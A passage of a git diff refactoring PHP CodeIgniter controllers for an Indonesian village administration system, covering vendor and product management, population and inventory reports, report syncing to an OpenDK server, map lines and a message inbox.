produk_delete($id) + { + $this->redirect_hak_akses('h'); + $this->lapak_model->produk_delete($id); + redirect("{$this->controller}/produk"); + } + + public function produk_delete_all() + { + $this->redirect_hak_akses('h'); + $this->lapak_model->produk_delete_all(); + redirect("{$this->controller}/produk"); + } + + public function produk_detail($id = 0) + { + $data['main'] = $this->lapak_model->produk_detail($id) ?? show_404(); + + $this->load->view("{$this->controller}/produk/detail", $data); + } + + public function produk_status($id = 0, $status = 0) + { + $this->redirect_hak_akses('u'); + $this->lapak_model->status('produk', $id, $status); + redirect("{$this->controller}/produk"); + } + + // PELAPAK + public function pelapak() + { + $data['navigasi'] = $this->navigasi(); + + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->lapak_model::ORDER_ABLE_PELAPAK[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + $status = $this->input->post('status'); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->lapak_model->get_pelapak('', $status)->count_all_results(), + 'recordsFiltered' => $this->lapak_model->get_pelapak($search, $status)->count_all_results(), + 'data' => $this->lapak_model->get_pelapak($search, $status)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ]); + } + + $this->render("{$this->controller}/pelapak/index", $data); + } + + public function pelapak_form($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['main'] = $this->lapak_model->pelapak_detail($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/pelapak_update/{$id}"); + } else { + $data['main'] = null; + $data['form_action'] = site_url("{$this->controller}/pelapak_insert"); + } + + $data['list_penduduk'] = $this->lapak_model->list_penduduk($data['main']->id_pend ?? 0); + + $this->load->view("{$this->controller}/pelapak/modal_form", $data); + } + + public function pelapak_maps($id = '') + { + $desa = $this->header['desa']; + $pelapak = $this->lapak_model->pelapak_detail($id) ?? show_404(); + if ($pelapak) { + $penduduk = $this->penduduk_model->get_penduduk_map($pelapak->id_pend); + } + + switch (true) { + case $pelapak->lat || $pelapak->lng: + $lat = $pelapak->lat; + $lng = $pelapak->lng; + $zoom = $pelapak->zoom ?? 10; + break; + + case $penduduk['lat'] || $penduduk['lng']: + $lat = $penduduk['lat']; + $lng = $penduduk['lng']; + $zoom = $penduduk['zoom'] ?? 10; + break; + + case $desa['lat'] || $desa['lng']: + $lat = $desa['lat']; + $lng = $desa['lng']; + $zoom = $desa['zoom'] ?? 10; + break; + + default: + $lat = -1.0546279422758742; + $lng = 116.71875000000001; + $zoom = 10; + break; + } + + $data['pelapak'] = $pelapak; + $data['lokasi'] = [ + 'ini' => $ini, + 'lat' => $lat, + 'lng' => $lng, + 'zoom' => $zoom, + ]; + $data['desa'] = $desa; + $data['wil_atas'] = $desa; + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['form_action'] = site_url("{$this->controller}/pelapak_update_maps/{$id}"); + + $this->render("{$this->controller}/pelapak/maps", $data); + } + + public function pelapak_insert() + { + $this->redirect_hak_akses('u'); + $this->lapak_model->pelapak_insert(); + redirect("{$this->controller}/pelapak"); + } + + public function pelapak_update_maps($id = '') + { + $this->redirect_hak_akses('u'); + $this->lapak_model->pelapak_update_maps($id); + redirect("{$this->controller}/pelapak"); + } + + public function pelapak_update($id = '') + { + $this->redirect_hak_akses('u'); + $this->lapak_model->pelapak_update($id); + redirect("{$this->controller}/pelapak"); + } + + public function pelapak_delete($id) + { + $this->redirect_hak_akses('h'); + // Cek apakah produk pelapak ada ??? + if ($this->lapak_model->get_produk()->where('id_pelapak', $id)->count_all_results() > 0) { + session_error('Pelapak tersebut memiliki produk, silahkan hapus terlebih dahulu'); + } else { + $this->lapak_model->pelapak_delete($id); + } + + redirect("{$this->controller}/pelapak"); + } + + public function pelapak_delete_all() + { + $this->redirect_hak_akses('h'); + $this->lapak_model->pelapak_delete_all(); + redirect("{$this->controller}/pelapak"); + } + + public function pelapak_status($id = 0, $status = 0) + { + $this->redirect_hak_akses('u'); + $this->lapak_model->status('pelapak', $id, $status); + redirect("{$this->controller}/pelapak"); + } + + // KATEGORI + public function kategori() + { + $data['navigasi'] = $this->navigasi(); + + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->lapak_model::ORDER_ABLE_KATEGORI[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + $status = $this->input->post('status'); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->lapak_model->get_kategori('', $status)->count_all_results(), + 'recordsFiltered' => $this->lapak_model->get_kategori($search, $status)->count_all_results(), + 'data' => $this->lapak_model->get_kategori($search, $status)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ]); + } + + $this->render("{$this->controller}/kategori/index", $data); + } + + public function kategori_form($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['main'] = $this->lapak_model->kategori_detail($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/kategori_update/{$id}"); + } else { + $data['main'] = null; + $data['form_action'] = site_url("{$this->controller}/kategori_insert"); + } + + $this->load->view("{$this->controller}/kategori/modal_form", $data); + } + + public function kategori_insert() + { + $this->redirect_hak_akses('u'); + $this->lapak_model->kategori_insert(); + redirect("{$this->controller}/kategori"); + } + + public function kategori_update($id = '') + { + $this->redirect_hak_akses('u'); + $this->lapak_model->kategori_update($id); + redirect("{$this->controller}/kategori"); + } + + public function kategori_delete($id) + { + $this->redirect_hak_akses('h'); + // Cek apakah produk kategori ada ??? + if ($this->lapak_model->get_produk()->where('id_produk_kategori', $id)->count_all_results() > 0) { + session_error('Kategori tersebut memiliki produk, silakan hapus terlebih dahulu'); + } else { + $this->lapak_model->kategori_delete($id); + } + + redirect("{$this->controller}/kategori"); + } + + public function kategori_delete_all() + { + $this->redirect_hak_akses('h'); + $this->lapak_model->kategori_delete_all(); + redirect("{$this->controller}/kategori"); + } + + public function kategori_status($id = 0, $status = 0) + { + $this->redirect_hak_akses('u'); + $this->lapak_model->status('produk_kategori', $id, $status); + redirect("{$this->controller}/kategori"); + } + + // PENGATURAN + public function pengaturan() + { + $this->redirect_hak_akses('u'); + $data = ['kategori' => ['lapak']]; + + $this->load->view('global/modal_setting', $data); + } +} diff --git a/donjo-app/controllers/Laporan.php b/donjo-app/controllers/Laporan.php index 5ab7782b6..9c2ba78a4 100644 --- a/donjo-app/controllers/Laporan.php +++ b/donjo-app/controllers/Laporan.php @@ -1,473 +1,248 @@ -load->model(['laporan_bulanan_model', 'pamong_model']); + $this->modul_ini = 'statistik'; + $this->sub_modul_ini = 'laporan-bulanan'; + $this->header['kategori'] = 'data_lengkap'; + } + + public function clear() + { + session_error_clear(); + $this->session->unset_userdata(['cari']); + $this->session->bulanku = date('n'); + $this->session->tahunku = date('Y'); + $this->session->per_page = 200; + + redirect('laporan'); + } + + public function index() + { + if (isset($this->session->bulanku)) { + $data['bulanku'] = $this->session->bulanku; + } else { + $data['bulanku'] = date('n'); + $this->session->bulanku = $data['bulanku']; + } + + if (isset($this->session->tahunku)) { + $data['tahunku'] = $this->session->tahunku; + } else { + $data['tahunku'] = date('Y'); + $this->session->tahunku = $data['tahunku']; + } + + $data['bulan'] = $data['bulanku']; + $data['tahun'] = $data['tahunku']; + $data['data_lengkap'] = true; + $data['sesudah_data_lengkap'] = true; + if (! $this->setting->tgl_data_lengkap_aktif || empty($this->setting->tgl_data_lengkap)) { + $data['data_lengkap'] = false; + $this->render('laporan/bulanan', $data); + + return; + } + $tahun_bulan = (new DateTime($this->setting->tgl_data_lengkap))->format('Y-m'); + if ($tahun_bulan > $data['tahunku'] . '-' . $data['bulanku']) { + $data['sesudah_data_lengkap'] = false; + $this->render('laporan/bulanan', $data); + + return; + } + $this->session->tgl_lengkap = rev_tgl($this->setting->tgl_data_lengkap); + $data['tahun_lengkap'] = (new DateTime($this->setting->tgl_data_lengkap))->format('Y'); + $data['config'] = $this->header['desa']; + $data['kelahiran'] = $this->laporan_bulanan_model->kelahiran(); + $data['kematian'] = $this->laporan_bulanan_model->kematian(); + $data['pendatang'] = $this->laporan_bulanan_model->pendatang(); + $data['pindah'] = $this->laporan_bulanan_model->pindah(); + $data['hilang'] = $this->laporan_bulanan_model->hilang(); + $data['penduduk_awal'] = $this->laporan_bulanan_model->penduduk_awal(); + $data['penduduk_akhir'] = $this->laporan_bulanan_model->penduduk_akhir(); + + $this->render('laporan/bulanan', $data); + } + + // TODO: Gunakan view global ttd + // TODO: Satukan dialog cetak dan unduh + public function dialog_cetak() + { + $data['aksi'] = 'Cetak'; + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['form_action'] = site_url('laporan/cetak'); + $this->load->view('laporan/ajax_cetak', $data); + } + + // TODO: Satukan dialog cetak dan unduh + public function dialog_unduh() + { + $data['aksi'] = 'Unduh'; + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['form_action'] = site_url('laporan/unduh'); + $this->load->view('laporan/ajax_cetak', $data); + } + + // TODO: Satukan aksi cetak dan unduh + public function cetak() + { + $data = $this->data_cetak(); + $this->load->view('laporan/bulanan_print', $data); + } + + // TODO: Satukan aksi cetak dan unduh + public function unduh() + { + $data = $this->data_cetak(); + $this->load->view('laporan/bulanan_excel', $data); + } + + private function data_cetak() + { + $data = []; + $data['config'] = $this->header['desa']; + $data['bulan'] = $this->session->bulanku; + $data['tahun'] = $this->session->tahunku; + $data['bln'] = getBulan($data['bulan']); + $data['penduduk_awal'] = $this->laporan_bulanan_model->penduduk_awal(); + $data['kelahiran'] = $this->laporan_bulanan_model->kelahiran(); + $data['kematian'] = $this->laporan_bulanan_model->kematian(); + $data['pendatang'] = $this->laporan_bulanan_model->pendatang(); + $data['pindah'] = $this->laporan_bulanan_model->pindah(); + $data['rincian_pindah'] = $this->laporan_bulanan_model->rincian_pindah(); + $data['hilang'] = $this->laporan_bulanan_model->hilang(); + $data['penduduk_akhir'] = $this->laporan_bulanan_model->penduduk_akhir(); + $data['pamong_ttd'] = $this->pamong_model->get_data($_POST['pamong_ttd']); + + return $data; + } + + public function bulan() + { + $bulanku = $this->input->post('bulan'); + if ($bulanku != '') { + $this->session->bulanku = $bulanku; + } else { + unset($this->session->bulanku); + } + + $tahunku = $this->input->post('tahun'); + if ($tahunku != '') { + $this->session->tahunku = $tahunku; + } else { + unset($this->session->tahunku); + } + redirect('laporan'); + } + + public function detail_penduduk($rincian, $tipe) + { + $data = []; + $keluarga = ['kk', 'kk_l', 'kk_p']; + + switch (strtolower($rincian)) { + case 'awal': + $data = [ + 'title' => 'PENDUDUK/KELUARGA AWAL BULAN INI', + 'main' => $this->laporan_bulanan_model->penduduk_awal($rincian, $tipe), + ]; + break; + + case 'lahir': + $data = [ + 'title' => in_array($tipe, $keluarga) ? 'KELUARGA BARU BULAN INI' : 'KELAHIRAN BULAN INI', + 'main' => $this->laporan_bulanan_model->kelahiran($rincian, $tipe), + ]; + break; + + case 'mati': + $data = [ + 'title' => 'KEMATIAN BULAN INI', + 'main' => $this->laporan_bulanan_model->kematian($rincian, $tipe), + ]; + break; + + case 'datang': + $data = [ + 'title' => 'PENDATANG BULAN INI', + 'main' => $this->laporan_bulanan_model->pendatang($rincian, $tipe), + ]; + break; + + case 'pindah': + $data = [ + 'title' => 'PINDAH/KELUAR PERGI BULAN INI', + 'main' => $this->laporan_bulanan_model->pindah($rincian, $tipe), + ]; + break; + + case 'hilang': + $data = [ + 'title' => 'PENDUDUK HILANG BULAN INI', + 'main' => $this->laporan_bulanan_model->hilang($rincian, $tipe), + ]; + break; + + case 'akhir': + $data = [ + 'title' => 'PENDUDUK/KELUARGA AKHIR BULAN INI', + 'main' => $this->laporan_bulanan_model->penduduk_akhir($rincian, $tipe), + ]; + break; + } + + $this->render('laporan/tabel_bulanan_detil', $data); + } + + public function perbaiki() + { + $this->redirect_hak_akses('u'); + $this->laporan_bulanan_model->perbaikiLogKeluarga(); + redirect('laporan'); + } +} diff --git a/donjo-app/controllers/Laporan_apbdes.php b/donjo-app/controllers/Laporan_apbdes.php index f76120466..28c4a5749 100644 --- a/donjo-app/controllers/Laporan_apbdes.php +++ b/donjo-app/controllers/Laporan_apbdes.php @@ -1,529 +1,169 @@ -load->model('Laporan_sinkronisasi_model', 'sinkronisasi'); + $this->modul_ini = 'keuangan'; + $this->sub_modul_ini = 'laporan-apbdes'; + $this->sinkronisasi->set_tipe($this->tipe); + } + + public function index() + { + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->sinkronisasi::ORDER[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + $tahun = $this->input->post('filter-tahun'); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->sinkronisasi->get_data()->count_all_results(), + 'recordsFiltered' => $this->sinkronisasi->get_data($search, $tahun)->count_all_results(), + 'data' => $this->sinkronisasi->get_data($search, $tahun)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ]); + } + + $this->render('opendk/index', [ + 'judul' => ($this->tipe == 'laporan_apbdes') ? 'Laporan APBDes' : 'Laporan Penduduk', + 'kolom' => ($this->tipe == 'laporan_apbdes') ? 'Semester' : 'Bulan', + 'tahun' => $this->sinkronisasi->get_tahun(), + ]); + } + + public function form(int $id = 0) + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['main'] = $this->sinkronisasi->find($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$id}"); + } else { + $data['main'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['tahun'] = $this->sinkronisasi->get_tahun(); + + $this->load->view("opendk/form_{$this->tipe}", $data); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->sinkronisasi->insert(); + redirect($this->controller); + } + + public function update(int $id = 0) + { + $this->redirect_hak_akses('u'); + $this->sinkronisasi->update($id); + redirect($this->controller); + } + + public function delete_all() + { + $this->redirect_hak_akses('h'); + $this->sinkronisasi->delete_all(); + redirect($this->controller); + } + + public function unduh(int $id = 0) + { + $nama_file = $this->sinkronisasi->find($id)->nama_file; + ambilBerkas($nama_file, $this->controller, null, LOKASI_DOKUMEN); + } + + public function kirim() + { + $this->redirect_hak_akses('u'); + + foreach (glob(LOKASI_DOKUMEN . '*_opendk.zip') as $file) { + if (file_exists($file)) { + unlink($file); + break; + } + } + + $desa_id = kode_wilayah($this->header['desa']['kode_desa']); + $id = $this->input->post('id_cb'); + + //Tambah/Ubah Data + $curl = curl_init(); + curl_setopt_array($curl, [ + CURLOPT_URL => "{$this->setting->api_opendk_server}/api/v1/" . str_replace('_', '-', $this->tipe), + CURLOPT_RETURNTRANSFER => true, + CURLOPT_ENCODING => '', + CURLOPT_MAXREDIRS => 10, + CURLOPT_TIMEOUT => 0, + CURLOPT_FOLLOWLOCATION => true, + CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, + CURLOPT_CUSTOMREQUEST => 'POST', + CURLOPT_POSTFIELDS => json_encode(['desa_id' => $desa_id, $this->tipe => $this->sinkronisasi->opendk($id)]), + CURLOPT_HTTPHEADER => [ + 'Accept: application/json', + 'Content-Type: application/json', + "Authorization: Bearer {$this->setting->api_opendk_key}", + ], + ]); + + $response = json_decode(curl_exec($curl)); + $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE); + + if (! curl_errno($curl) && $http_code !== 422) { + // Ubah tgl kirim + $this->sinkronisasi->kirim($id); + } + + curl_close($curl); + $this->session->unset_userdata(['success', 'error_msg']); + $this->session->set_flashdata('notif', $response); + + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Laporan_inventaris.php b/donjo-app/controllers/Laporan_inventaris.php index 7c6618d39..2a4e432ea 100644 --- a/donjo-app/controllers/Laporan_inventaris.php +++ b/donjo-app/controllers/Laporan_inventaris.php @@ -1,561 +1,173 @@ -load->model(['inventaris_laporan_model', 'pamong_model', 'surat_model']); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 61; + } + + public function index() + { + $data['pamong'] = Pamong::penandaTangan()->get(); + $data = array_merge($data, $this->inventaris_laporan_model->laporan_inventaris()); + $data['tip'] = 1; + + $this->render('inventaris/laporan/table', $data); + } + + public function cetak($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['tahun'] = $tahun; + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + $data = array_merge($data, $this->inventaris_laporan_model->cetak_inventaris($tahun)); + + $this->load->view('inventaris/laporan/inventaris_print', $data); + } + + public function download($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['tahun'] = $tahun; + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + $data = array_merge($data, $this->inventaris_laporan_model->cetak_inventaris($tahun)); + + $this->load->view('inventaris/laporan/inventaris_excel', $data); + } + + public function mutasi() + { + $this->load->model('surat_model'); + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['tip'] = 2; + $data = array_merge($data, $this->inventaris_laporan_model->mutasi_laporan_inventaris()); + + $this->render('inventaris/laporan/table_mutasi', $data); + } + + public function cetak_mutasi($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['tahun'] = $tahun; + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + $data = array_merge($data, $this->inventaris_laporan_model->mutasi_cetak_inventaris($tahun)); + + $this->load->view('inventaris/laporan/inventaris_print_mutasi', $data); + } + + public function download_mutasi($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['tahun'] = $tahun; + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + $data = array_merge($data, $this->inventaris_laporan_model->mutasi_cetak_inventaris($tahun)); + + $this->load->view('inventaris/laporan/inventaris_excel_mutasi', $data); + } + + // TODO: Ini masih digunakan ? Jika tidak, hapus + public function permendagri_47($asset = null) + { + $tahun = (isset($this->session->tahun)) ? $this->session->tahun : date('Y'); + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $pamong = $this->pamong_model->list_data(); + $data['kades'] = array_filter($pamong, static function ($x) { + if ($x['jabatan'] == 'Kepala Desa') { + return $x; + } + }); + + $data['sekdes'] = array_filter($pamong, static function ($x) { + if ($x['jabatan'] == 'Sekretaris Desa') { + return $x; + } + }); + + $data['tip'] = 3; + $data['data'] = $this->inventaris_laporan_model->permen_47($tahun, $asset); + $data['tahun'] = $tahun; + + $this->render('inventaris/laporan/table_permen47', $data); + } + + public function permendagri_47_dialog($aksi = 'cetak', $asset = null) + { + // TODO :: gunakan view global penandatangan + $ttd = $this->modal_penandatangan(); + $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id); + $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id); + + $tahun = (isset($this->session->tahun)) ? $this->session->tahun : date('Y'); + $data['header'] = $this->header['desa']; + $data['data'] = $this->inventaris_laporan_model->permen_47($tahun, $asset); + $data['tahun'] = $this->session->tahun; + $data['tanggal'] = date('d / M / y'); + + if ($aksi == 'unduh') { + $this->load->view('inventaris/laporan/permen47_excel', $data); + } else { + $this->load->view('inventaris/laporan/permen47_print', $data); + } + } + + // TODO: Ini digunakan dimana pada view + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('laporan_inventaris/permendagri_47'); + } +} diff --git a/donjo-app/controllers/Laporan_penduduk.php b/donjo-app/controllers/Laporan_penduduk.php index b5b38c148..ec5c127b3 100644 --- a/donjo-app/controllers/Laporan_penduduk.php +++ b/donjo-app/controllers/Laporan_penduduk.php @@ -1,545 +1,52 @@ -modul_ini = 'statistik'; + $this->sub_modul_ini = 'laporan-penduduk'; + } +} diff --git a/donjo-app/controllers/Laporan_rentan.php b/donjo-app/controllers/Laporan_rentan.php index 679588193..658fb3d9b 100644 --- a/donjo-app/controllers/Laporan_rentan.php +++ b/donjo-app/controllers/Laporan_rentan.php @@ -1,529 +1,93 @@ -load->model(['laporan_bulanan_model', 'wilayah_model']); + $this->modul_ini = 'statistik'; + $this->sub_modul_ini = 'laporan-kelompok-rentan'; + } + + public function clear() + { + $session = ['cari', 'filter', 'dusun', 'rw', 'rt']; + $this->session->unset_userdata($session); + $this->session->per_page = 20; + session_error_clear(); + + redirect('laporan_rentan'); + } + + public function index() + { + $data['dusun'] = $this->session->dusun ?? ''; + $data['config'] = $this->header['desa']; + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['main'] = $this->laporan_bulanan_model->list_data(); + $this->render('laporan/kelompok', $data); + } + + public function cetak() + { + $data['config'] = $this->header['desa']; + $data['main'] = $this->laporan_bulanan_model->list_data(); + $this->load->view('laporan/kelompok_print', $data); + } + + public function excel() + { + $data['config'] = $this->header['desa']; + $data['main'] = $this->laporan_bulanan_model->list_data(); + $this->load->view('laporan/kelompok_excel', $data); + } + + public function dusun() + { + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $this->session->dusun = $dusun; + } else { + $this->session->unset_userdata('dusun'); + } + redirect('laporan_rentan'); + } +} diff --git a/donjo-app/controllers/Lembaga.php b/donjo-app/controllers/Lembaga.php index f99d710cc..4c424fda3 100644 --- a/donjo-app/controllers/Lembaga.php +++ b/donjo-app/controllers/Lembaga.php @@ -1,473 +1,53 @@ -modul_ini = 'info-desa'; + $this->sub_modul_ini = 'lembaga-desa'; + } +} diff --git a/donjo-app/controllers/Lembaga_master.php b/donjo-app/controllers/Lembaga_master.php index df9b2d623..819e733e9 100644 --- a/donjo-app/controllers/Lembaga_master.php +++ b/donjo-app/controllers/Lembaga_master.php @@ -1,529 +1,53 @@ -modul_ini = 'info-desa'; + $this->sub_modul_ini = 'lembaga-desa'; + } +} diff --git a/donjo-app/controllers/Line.php b/donjo-app/controllers/Line.php index 88d601d6b..47393d755 100644 --- a/donjo-app/controllers/Line.php +++ b/donjo-app/controllers/Line.php @@ -1,449 +1,249 @@ -load->model('plan_line_model'); + $this->modul_ini = 'pemetaan'; + $this->sub_modul_ini = 'pengaturan-peta'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter']); + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + + $data['per_page'] = $_SESSION['per_page']; + $data['paging'] = $this->plan_line_model->paging($p, $o); + $data['main'] = $this->plan_line_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->plan_line_model->autocomplete(); + $data['tip'] = 2; + + $this->render('line/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['line'] = $this->plan_line_model->get_line($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$id}/{$p}/{$o}"); + } else { + $data['line'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['tip'] = 2; + + $this->render('line/form', $data); + } + + public function sub_line($line = 1) + { + $data['subline'] = $this->plan_line_model->list_sub_line($line); + $data['line'] = $this->plan_line_model->get_line($line); + $data['tip'] = 2; + + $this->render('line/sub_line_table', $data); + } + + public function ajax_add_sub_line($line = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + if ($id) { + $data['line'] = $this->plan_line_model->get_line($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update_sub_line/{$line}/{$id}"); + } else { + $data['line'] = null; + $data['form_action'] = site_url("{$this->controller}/insert_sub_line/{$line}"); + } + + $this->load->view('line/ajax_add_sub_line_form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + + redirect($this->controller); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + + redirect($this->controller); + } + + public function insert($tip = 1) + { + $this->redirect_hak_akses('u'); + $this->plan_line_model->insert($tip); + + redirect("{$this->controller}/index/{$tip}"); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $this->plan_line_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + $this->plan_line_model->delete($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->plan_line_model->delete_all(); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function line_lock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_line_model->line_lock($id, 1); + + redirect($this->controller); + } + + public function line_unlock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_line_model->line_lock($id, 2); + + redirect($this->controller); + } + + public function insert_sub_line($line = '') + { + $this->redirect_hak_akses('u'); + $this->plan_line_model->insert_sub_line($line); + + redirect("{$this->controller}/sub_line/{$line}"); + } + + public function update_sub_line($line = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_line_model->update_sub_line($id); + + redirect("{$this->controller}/sub_line/{$line}"); + } + + public function delete_sub_line($line = '', $id = '') + { + $this->redirect_hak_akses('h'); + $this->plan_line_model->delete_sub_line($id); + + redirect("{$this->controller}/sub_line/{$line}"); + } + + public function delete_all_sub_line($line = '') + { + $this->redirect_hak_akses('h'); + $this->plan_line_model->delete_all_sub_line(); + + redirect("{$this->controller}/sub_line/{$line}"); + } + + public function line_lock_sub_line($line = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_line_model->line_lock($id, 1); + + redirect("{$this->controller}/sub_line/{$line}"); + } + + public function line_unlock_sub_line($line = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_line_model->line_lock($id, 2); + + redirect("{$this->controller}/sub_line/{$line}"); + } +} diff --git a/donjo-app/controllers/Mailbox.php b/donjo-app/controllers/Mailbox.php index 7876a87d3..dc540cfdd 100644 --- a/donjo-app/controllers/Mailbox.php +++ b/donjo-app/controllers/Mailbox.php @@ -1,473 +1,206 @@ -load->model('web_komentar_model'); + $this->load->model('mandiri_model'); + $this->load->model('mailbox_model'); + $this->modul_ini = 'layanan-mandiri'; + $this->sub_modul_ini = 'kotak-pesan'; + } + + public function clear($kat = 1, $p = 1, $o = 0) + { + unset($_SESSION['cari'], $_SESSION['filter_status'], $_SESSION['filter_nik'], $_SESSION['filter_archived']); + + redirect("mailbox/index/{$kat}/{$p}/{$o}"); + } + + public function index($kat = 1, $p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['kat'] = $kat; + + $list_session = ['cari', 'filter_status', 'filter_nik', 'filter_archived']; + + foreach ($list_session as $session) { + $data[$session] = $this->session->userdata($session) ?: ''; + } + + if ($nik = $this->session->userdata('filter_nik')) { + $data['individu'] = $this->mandiri_model->get_pendaftar_mandiri($nik); + } + + if ($per_page = $this->input->post('per_page')) { + $this->session->set_userdata('per_page', $per_page); + } + + $data['per_page'] = $_SESSION['per_page']; + $data['paging'] = $this->web_komentar_model->paging($p, $o, $kat); + $data['main'] = $this->web_komentar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page, $kat); + $data['owner'] = $kat == 1 ? 'Pengirim' : 'Penerima'; + $data['keyword'] = $this->web_komentar_model->autocomplete(); + $data['submenu'] = $this->mailbox_model->list_menu(); + $_SESSION['submenu'] = $kat; + + $this->render('mailbox/table', $data); + } + + public function form() + { + $this->redirect_hak_akses('h'); + + if (! empty($nik = $this->input->post('nik'))) { + $data['individu'] = $this->mandiri_model->get_pendaftar_mandiri($nik); + } + + if (! empty($subjek = $this->input->post('subjek'))) { + $data['subjek'] = $subjek; + } + + $data['form_action'] = site_url('mailbox/kirim_pesan'); + + $this->render('mailbox/form', $data); + } + + public function kirim_pesan() + { + $this->redirect_hak_akses('u'); + $post = $this->input->post(); + $post['tipe'] = 2; + $post['status'] = 2; + $this->mailbox_model->insert($post); + redirect('mailbox/index/' . $post['tipe']); + } + + public function baca_pesan($kat, $id) + { + if ($kat == 1) { + $this->web_komentar_model->komentar_lock($id, 1); + unset($_SESSION['success']); + } + + $data['kat'] = $kat; + $data['owner'] = $kat == 1 ? 'Pengirim' : 'Penerima'; + $data['pesan'] = $this->web_komentar_model->get_komentar($id) ?? show_404(); + $data['tipe_mailbox'] = $this->mailbox_model->get_kat_nama($kat); + + $this->render('mailbox/detail', $data); + } + + public function search($kat = 1) + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $this->session->cari = $cari; + } else { + unset($this->session->cari); + } + redirect("mailbox/index/{$kat}"); + } + + public function filter_status($kat = 1) + { + $status = $this->input->post('status'); + if ($status != 0) { + if ($status == 3) { + $this->session->filter_archived = true; + unset($this->session->filter_status); + } else { + $this->session->filter_status = $status; + unset($this->session->filter_archived); + } + } else { + unset($_SESSION['filter_status'], $_SESSION['filter_archived']); + } + redirect("mailbox/index/{$kat}"); + } + + public function filter_nik($kat = 1) + { + $nik = $this->input->post('nik'); + if (! empty($nik) && $nik != 0) { + $this->session->filter_nik = $nik; + } else { + unset($this->session->filter_nik); + } + redirect("mailbox/index/{$kat}"); + } + + public function list_pendaftar_mandiri_ajax() + { + $cari = $this->input->get('q'); + 